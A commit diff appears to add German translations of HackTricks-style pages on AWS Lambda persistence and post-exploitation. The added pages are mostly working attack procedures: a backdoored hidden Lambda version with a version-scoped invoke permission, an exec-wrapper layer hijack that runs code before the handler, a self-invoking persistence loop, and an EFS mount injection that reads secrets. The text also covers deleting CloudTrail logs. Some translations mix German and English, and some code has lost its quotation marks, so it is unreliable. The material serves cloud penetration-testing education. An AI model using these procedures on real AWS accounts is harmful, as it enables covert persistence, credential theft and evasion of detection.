Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-06 23:05:58 +00:00
parent d035402317
commit d4e877a9c9
13 changed files with 907 additions and 92 deletions

View File

@@ -12,53 +12,80 @@ Für weitere Informationen siehe:
### Lambda Layer Persistenz
Es ist möglich, eine **Schicht einzuführen/hintertüren, um beliebigen Code auszuführen**, wenn die Lambda stealthy ausgeführt wird:
Es ist möglich, **introduce/backdoor a layer to execute arbitrary code** wenn die Lambda auf eine unauffällige Weise ausgeführt wird:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
### Lambda Erweiterungs-Persistenz
### Lambda Extension Persistenz
Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und in der Lambda zu persistieren, aber auch Anfragen zu stehlen und zu modifizieren.
Durch Missbrauch von Lambda Layers ist es auch möglich, Extensions zu missbrauchen und in der Lambda persistent zu bleiben, sowie Requests zu stehlen und zu modifizieren.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
### Über Ressourcenrichtlinien
### Via resource policies
Es ist möglich, den Zugriff auf verschiedene Lambda-Aktionen (wie Invoke oder Update Code) für externe Konten zu gewähren:
Es ist möglich, externen Accounts Zugriff auf verschiedene Lambda-Aktionen (wie invoke oder update code) zu gewähren:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versionen, Aliase & Gewichte
### Versionen, Aliases & Weights
Eine Lambda kann **verschiedene Versionen** haben (mit unterschiedlichem Code in jeder Version).\
Dann können Sie **verschiedene Aliase mit unterschiedlichen Versionen** der Lambda erstellen und jedem unterschiedliche Gewichte zuweisen.\
Auf diese Weise könnte ein Angreifer eine **hintertürige Version 1** und eine **Version 2 mit nur dem legitimen Code** erstellen und **nur die Version 1 in 1%** der Anfragen ausführen, um stealthy zu bleiben.
Eine Lambda kann **different versions** (mit unterschiedlichem Code pro Version) haben.\
Dann kannst du **different aliases with different versions** der Lambda erstellen und jedem unterschiedliche Weights zuweisen.\
Auf diese Weise könnte ein Angreifer eine **backdoored version 1** und eine **version 2 with only the legit code** erstellen und **only execute the version 1 in 1%** der Requests, um unauffällig zu bleiben.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Hintertür + API Gateway
### Version Backdoor + API Gateway
1. Kopieren Sie den ursprünglichen Code der Lambda
2. **Erstellen Sie eine neue Version, die den ursprünglichen Code hintertürig macht** (oder nur mit bösartigem Code). Veröffentlichen und **setzen Sie diese Version** auf $LATEST
1. Rufen Sie das API-Gateway auf, das mit der Lambda verbunden ist, um den Code auszuführen
3. **Erstellen Sie eine neue Version mit dem ursprünglichen Code**, veröffentlichen und setzen Sie diese **Version** auf $LATEST.
1. Dies wird den hintertürigen Code in einer vorherigen Version verbergen
4. Gehen Sie zum API Gateway und **erstellen Sie eine neue POST-Methode** (oder wählen Sie eine andere Methode), die die hintertürige Version der Lambda ausführt: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Beachten Sie das finale :1 der arn **das die Version der Funktion angibt** (Version 1 wird in diesem Szenario die hintertürige sein).
5. Wählen Sie die erstellte POST-Methode aus und wählen Sie in Aktionen **`API bereitstellen`**
6. Jetzt, wenn Sie **die Funktion über POST aufrufen, wird Ihre Hintertür** aufgerufen
1. Kopiere den Originalcode der Lambda
2. **Create a new version backdooring** den Originalcode (oder nur mit malicious code). Publish und **deploy that version** zu $LATEST
1. Rufe das API Gateway, das mit der Lambda verknüpft ist, auf, um den Code auszuführen
3. **Create a new version with the original code**, Publish und deploy that **version** zu $LATEST.
1. Das wird den backdoored code in einer vorherigen Version verbergen
4. Gehe zum API Gateway und **create a new POST method** (oder wähle eine andere Methode), die die backdoored version der Lambda ausführt: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Beachte das abschließende :1 der arn **indicating the version of the function** (Version 1 wird in diesem Szenario die backdoored sein).
5. Wähle die erstellte POST-Methode und unter Actions **`Deploy API`**
6. Jetzt wird, wenn du die Funktion per POST aufrufst, deine **Backdoor** ausgelöst
### Cron/Ereignis-Aktuator
### Cron/Event actuator
Die Tatsache, dass Sie **Lambda-Funktionen ausführen können, wenn etwas passiert oder wenn etwas Zeit vergeht**, macht Lambda zu einer schönen und gängigen Möglichkeit, Persistenz zu erlangen und Erkennung zu vermeiden.\
Hier sind einige Ideen, um Ihre **Präsenz in AWS stealthy zu gestalten, indem Sie Lambdas erstellen**.
Die Tatsache, dass man Lambda-Funktionen ausführen lassen kann, wenn etwas passiert oder nach Zeitintervallen, macht Lambda zu einem häufig genutzten Weg, um Persistenz zu erreichen und Entdeckung zu vermeiden.\
Hier einige Ideen, um deine **presence in AWS more stealth by creating lambdas**.
- Jedes Mal, wenn ein neuer user erstellt wird, generiert Lambda einen neuen user key und sendet ihn an den Angreifer.
- Jedes Mal, wenn eine neue role erstellt wird, gewährt Lambda kompromittierten Benutzern die assume role Berechtigungen.
- Jedes Mal, wenn neue CloudTrail-Logs erzeugt werden, lösche/verändere sie
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Missbrauche die Umgebungsvariable `AWS_LAMBDA_EXEC_WRAPPER`, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor der runtime/handler startet. Liefere den Wrapper über ein Lambda Layer unter `/opt/bin/htwrap`, setze `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` und rufe dann die Funktion auf. Der Wrapper läuft im Runtime-Prozess der Funktion, erbt die function execution role und `exec`t schließlich das echte Runtime, sodass der ursprüngliche Handler normal weiterläuft.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Missbrauche Lambda asynchronous destinations zusammen mit der Recursion-Konfiguration, um eine Funktion sich kontinuierlich selbst neu aufrufen zu lassen, ohne externen Scheduler (kein EventBridge, cron, etc.). Standardmäßig beendet Lambda rekursive Schleifen, aber durch Setzen der recursion config auf Allow werden sie wieder aktiviert. Destinations liefern auf Service-Seite bei async invokes, sodass ein einzelner seed invoke ein unauffälliges, code-freies heartbeat/backdoor channel erzeugt. Optional mit reserved concurrency drosseln, um das Noise niedrig zu halten.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Erstelle eine versteckte Lambda-Version mit Angreifer-Logik und scope eine resource-based policy auf diese spezifische Version (oder alias) mittels des `--qualifier` Parameters in `lambda add-permission`. Gewähre nur `lambda:InvokeFunction` auf `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` an ein Angreifer-Prinzipal. Normale Invocations über den Funktionsnamen oder den primären Alias bleiben unbeeinträchtigt, während der Angreifer die backdoored version ARN direkt aufrufen kann.
Das ist unauffälliger als das Exponieren einer Function URL und ändert den primären Traffic-Alias nicht.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
- Jedes Mal, wenn ein neuer Benutzer erstellt wird, generiert Lambda einen neuen Benutzerschlüssel und sendet ihn an den Angreifer.
- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda die Berechtigung zur Annahme von Rollen an kompromittierte Benutzer.
- Jedes Mal, wenn neue CloudTrail-Protokolle generiert werden, löschen/ändern Sie diese.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,88 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## Zusammenfassung
Erstelle eine versteckte Lambda-Version mit Angreifer-Logik und weise mittels des Parameters `--qualifier` in `lambda add-permission` eine resource-based policy genau dieser Version (oder eines Alias) zu. Erteile nur `lambda:InvokeFunction` für `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` an einen Angreifer-Principal. Normale Aufrufe über den Funktionsnamen oder den primären Alias bleiben unbeeinträchtigt, während der Angreifer die backdoored Version-ARN direkt aufrufen kann.
Das ist unauffälliger als das Exponieren einer Function URL und ändert den primären Traffic-Alias nicht.
## Erforderliche Berechtigungen (Angreifer)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
## Angriffsablauf (CLI)
<details>
<summary>Versteckte Version veröffentlichen, auf Qualifier beschränkte Berechtigung hinzufügen, als Angreifer aufrufen</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## Auswirkungen
- Gewährt eine stealthy Backdoor, um eine versteckte Version der Funktion aufzurufen, ohne das primäre Alias zu ändern oder eine Function URL offenzulegen.
- Beschränkt die Exposition nur auf die angegebene Version/Alias über die ressourcenbasierte Policy `Qualifier`, reduziert so die Erkennungsfläche und bewahrt gleichzeitig die zuverlässige Aufrufbarkeit für den Angreifer-Principal.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,92 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Missbrauche Lambda asynchronous Destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich ohne externen Scheduler (kein EventBridge, cron, etc.) sich selbst erneut aufzurufen. Standardmäßig beendet Lambda rekursive Loops, aber das Setzen der Recursion-Konfiguration auf Allow aktiviert sie wieder. Destinations liefern serverseitig bei async invokes, sodass ein einzelner Seed-Invoke einen unauffälligen, codefreien Heartbeat/Backdoor-Kanal erzeugt. Optional mit reserved concurrency drosseln, um Lärm niedrig zu halten.
Notes
- Lambda erlaubt nicht, die Funktion direkt als eigene Destination zu konfigurieren. Verwende stattdessen einen function alias als Destination und erlaube der execution role, diesen Alias aufzurufen.
- Mindestberechtigungen: Fähigkeit, die event invoke config und recursion config der Ziel-Funktion zu lesen/aktualisieren, eine Version zu veröffentlichen und einen Alias zu verwalten sowie die Policy der execution role der Funktion zu aktualisieren, um lambda:InvokeFunction auf dem Alias zu erlauben.
## Anforderungen
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Schritte
1) Hole die ARN der Funktion und die aktuelle Recursion-Einstellung
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Veröffentliche eine Version und erstelle/aktualisiere ein Alias (als Ziel für sich selbst verwendet)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Erlaube der Ausführungsrolle der Funktion, das Alias aufzurufen (erforderlich für Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Konfiguriere das async destination zum Alias (self via alias) und deaktiviere retries
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) Erlaube rekursive Schleifen
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Einen einzelnen asynchronen Invoke auslösen
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Beobachte kontinuierliche Aufrufe (Beispiele)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Optionale unauffällige Drosselung
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Bereinigung
Unterbreche die loop und entferne die persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Auswirkungen
- Ein einzelner async invoke bewirkt, dass Lambda sich kontinuierlich erneut aufruft, ohne externen Scheduler, und ermöglicht verdeckte persistence/heartbeat. Reserved concurrency kann den Lärm auf eine einzige warm execution begrenzen.

View File

@@ -0,0 +1,94 @@
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
{{#include ../../../../banners/hacktricks-training.md}}
## Zusammenfassung
Missbrauche die Umgebungsvariable `AWS_LAMBDA_EXEC_WRAPPER`, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor das runtime/handler startet. Liefere den Wrapper über eine Lambda Layer unter `/opt/bin/htwrap`, setze `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` und rufe anschließend die Funktion auf. Der Wrapper läuft im Prozess der Funktionsruntime, erbt die Function Execution Role und führt schließlich das echte Runtime via `exec` aus, sodass der ursprüngliche Handler weiterhin normal ausgeführt wird.
> [!WARNING]
> Diese Technik ermöglicht Codeausführung in der Ziel-Lambda ohne Änderung ihres Quellcodes oder ihrer Rolle und ohne `iam:PassRole` zu benötigen. Du brauchst lediglich die Möglichkeit, die Funktionskonfiguration zu aktualisieren und ein Layer zu veröffentlichen/anzuhängen.
## Erforderliche Berechtigungen (attacker)
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (or trigger via existing event)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
## Wrapper Script
Platziere den Wrapper im Layer unter `/opt/bin/htwrap`. Er kann Logik vor dem Handler ausführen und muss mit `exec "$@"` enden, um an das echte runtime weiterzuleiten.
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## Angriffsschritte (CLI)
<details>
<summary>Layer veröffentlichen, an Ziel-Funktion anhängen, Wrapper setzen, aufrufen</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>
## Auswirkungen
- Ausführung von Pre-handler-Code im Lambda runtime-Kontext unter Verwendung der bestehenden execution role der Funktion.
- Keine Änderungen am function code oder an der role erforderlich; funktioniert für gängige managed runtimes (Python, Node.js, Java, .NET).
- Ermöglicht persistence, credential access (z. B. STS), data exfiltration und runtime tampering, bevor der handler ausgeführt wird.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -10,26 +10,76 @@ Für weitere Informationen siehe:
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Exfiltriere Lambda-Anmeldeinformationen
### Exfilrtate Lambda Credentials
Lambda verwendet Umgebungsvariablen, um Anmeldeinformationen zur Laufzeit einzufügen. Wenn du Zugriff auf sie erhältst (indem du `/proc/self/environ` liest oder die anfällige Funktion selbst verwendest), kannst du sie selbst nutzen. Sie befinden sich in den Standardvariablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` und `AWS_ACCESS_KEY_ID`.
Lambda verwendet Umgebungsvariablen, um zur Laufzeit credentials zu injizieren. Wenn Sie Zugriff auf diese erhalten (durch Lesen von `/proc/self/environ` oder durch Verwendung der verwundbaren Funktion selbst), können Sie sie selbst verwenden. Sie liegen in den Standard-Variablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, und `AWS_ACCESS_KEY_ID`.
Standardmäßig haben diese Zugriff auf das Schreiben in eine CloudWatch-Loggruppe (deren Name in `AWS_LAMBDA_LOG_GROUP_NAME` gespeichert ist) sowie auf das Erstellen beliebiger Loggruppen. Lambda-Funktionen haben jedoch häufig mehr Berechtigungen, die basierend auf ihrer beabsichtigten Verwendung zugewiesen sind.
Standardmäßig haben diese Schreibzugriff auf eine CloudWatch log group (deren Name in `AWS_LAMBDA_LOG_GROUP_NAME` gespeichert ist) sowie das Recht, beliebige log groups zu erstellen; Lambda functions haben jedoch häufig zusätzliche Berechtigungen, die nach ihrem vorgesehenen Zweck zugewiesen sind.
### Stehle andere Lambda-URL-Anfragen
### Steal Others Lambda URL Requests
Wenn es einem Angreifer gelingt, RCE innerhalb eines Lambdas zu erlangen, kann er die HTTP-Anfragen anderer Benutzer an das Lambda stehlen. Wenn die Anfragen sensible Informationen enthalten (Cookies, Anmeldeinformationen...), kann er sie stehlen.
Wenn ein Angreifer es schafft, RCE innerhalb einer Lambda zu erlangen, kann er HTTP-Anfragen anderer Benutzer an die Lambda stehlen. Enthalten die Anfragen sensible Informationen (cookies, credentials...) kann er diese abfangen.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
### Stehle andere Lambda-URL-Anfragen & Erweiterungsanfragen
### Steal Others Lambda URL Requests & Extensions Requests
Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und im Lambda persistent zu bleiben, aber auch Anfragen zu stehlen und zu modifizieren.
Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu missbrauchen und Persistenz in der Lambda zu erreichen, sowie Anfragen zu stehlen und zu verändern.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
### AWS Lambda VPC Egress Bypass
Zwingen Sie eine Lambda-Funktion, eine eingeschränkte VPC zu verlassen, indem Sie ihre Konfiguration mit einer leeren VpcConfig aktualisieren (SubnetIds=[], SecurityGroupIds=[]). Die Funktion läuft dann im von Lambda verwalteten Netzwerkbereich und erlangt wieder ausgehenden Internetzugang, wodurch Egress-Kontrollen, die durch private VPC-Subnets ohne NAT durchgesetzt werden, umgangen werden.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
{{#endref}}
### AWS Lambda Runtime Pinning/Rollback Abuse
Missbrauchen Sie `lambda:PutRuntimeManagementConfig`, um eine Funktion auf eine bestimmte Runtime-Version festzusetzen (Manual) oder Updates einzufrieren (FunctionUpdate). Dadurch bleibt die Kompatibilität mit bösartigen layers/wrappers erhalten und die Funktion kann auf einer veralteten, verwundbaren Runtime belassen werden, was Exploitation und langfristige Persistenz erleichtert.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
{{#endref}}
### AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
Missbrauchen Sie die erweiterten Logging-Kontrollen von `lambda:UpdateFunctionConfiguration`, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs log group umzuleiten. Dies funktioniert ohne Code- oder Ausführungsrollen-Änderung (die meisten Lambda-Rollen beinhalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Wenn die Funktion secrets/request bodies ausgibt oder mit Stack-Traces abstürzt, können Sie diese aus der neuen log group sammeln.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Machen Sie eine private Lambda Function URL zu einem öffentlichen, nicht authentifizierten Endpunkt, indem Sie den Function URL AuthType auf NONE setzen und eine resource-basierte Policy anhängen, die lambda:InvokeFunctionUrl für alle gewährt. Dadurch wird anonyme Invocation interner Funktionen ermöglicht und sensible Backend-Operationen können exponiert werden.
{{#ref}}
aws-lambda-function-url-public-exposure.md
{{#endref}}
### AWS Lambda Event Source Mapping Target Hijack
Missbrauchen Sie `UpdateEventSourceMapping`, um die Ziel-Lambda-Funktion einer bestehenden Event Source Mapping (ESM) zu ändern, sodass Records von DynamoDB Streams, Kinesis, oder SQS an eine vom Angreifer kontrollierte Funktion geliefert werden. Dies leitet Live-Daten stillschweigend um, ohne Produzenten oder den ursprünglichen Funktionscode zu berühren.
{{#ref}}
aws-lambda-event-source-mapping-target-hijack.md
{{#endref}}
### AWS Lambda EFS Mount Injection data exfiltration
Missbrauchen Sie `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda anzuhängen, und deployen Sie dann trivialen Code, der Dateien aus dem gemounteten Pfad auflistet/liest, um gemeinsam genutzte secrets/config zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
{{#ref}}
aws-lambda-efs-mount-injection.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,74 @@
# AWS Lambda EFS Mount Injection via UpdateFunctionConfiguration (Datendiebstahl)
Missbrauche `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda anzuhängen, und deploye dann trivialen Code, der Dateien vom gemounteten Pfad auflistet/liest, um gemeinsame Secrets/Konfigurationen zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
## Voraussetzungen
- Berechtigungen für das Zielkonto/Principal:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (zum Auffinden von Funktionen)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (um zu bestätigen, dass Mount Targets existieren)
- Annahmen zur Umgebung:
- Die Ziel-Lambda ist VPC-enabled und ihre subnets/SGs können das EFS mount target SG über TCP/2049 erreichen (z. B. hat die Rolle AWSLambdaVPCAccessExecutionRole und das VPC-Routing erlaubt es).
- Der EFS Access Point befindet sich im selben VPC und hat mount targets in den AZs der Lambda-Subnets.
## Angriff
- Variablen
```
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
```
1) Den EFS Access Point an Lambda anhängen
```
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) Overwrite code mit einem einfachen Reader, der Dateien auflistet und die ersten 200 Bytes einer möglichen secret/config-Datei ausliest
```
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) Aufrufen und Daten abrufen
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
Die Ausgabe sollte das Verzeichnislisting unter /mnt/ht und eine kleine Vorschau einer ausgewählten secret/config-Datei aus EFS enthalten.
## Auswirkungen
Ein Angreifer mit den aufgelisteten Berechtigungen kann beliebige in-VPC EFS Access Points in Opfer-Lambda-Funktionen mounten, um gemeinsam genutzte Konfigurationen und secrets, die auf EFS gespeichert sind und zuvor für diese Funktion nicht zugänglich waren, zu lesen und zu exfiltrate.
## Bereinigung
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```

View File

@@ -0,0 +1,75 @@
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
{{#include ../../../../banners/hacktricks-training.md}}
Missbrauche `UpdateEventSourceMapping`, um das Ziel-Lambda einer bestehenden Event Source Mapping (ESM) zu ändern, sodass Datensätze von DynamoDB Streams, Kinesis oder SQS an eine attacker-controlled function geliefert werden. Dies lenkt Live-Daten stillschweigend um, ohne Producer oder den ursprünglichen Funktionscode zu verändern.
## Auswirkungen
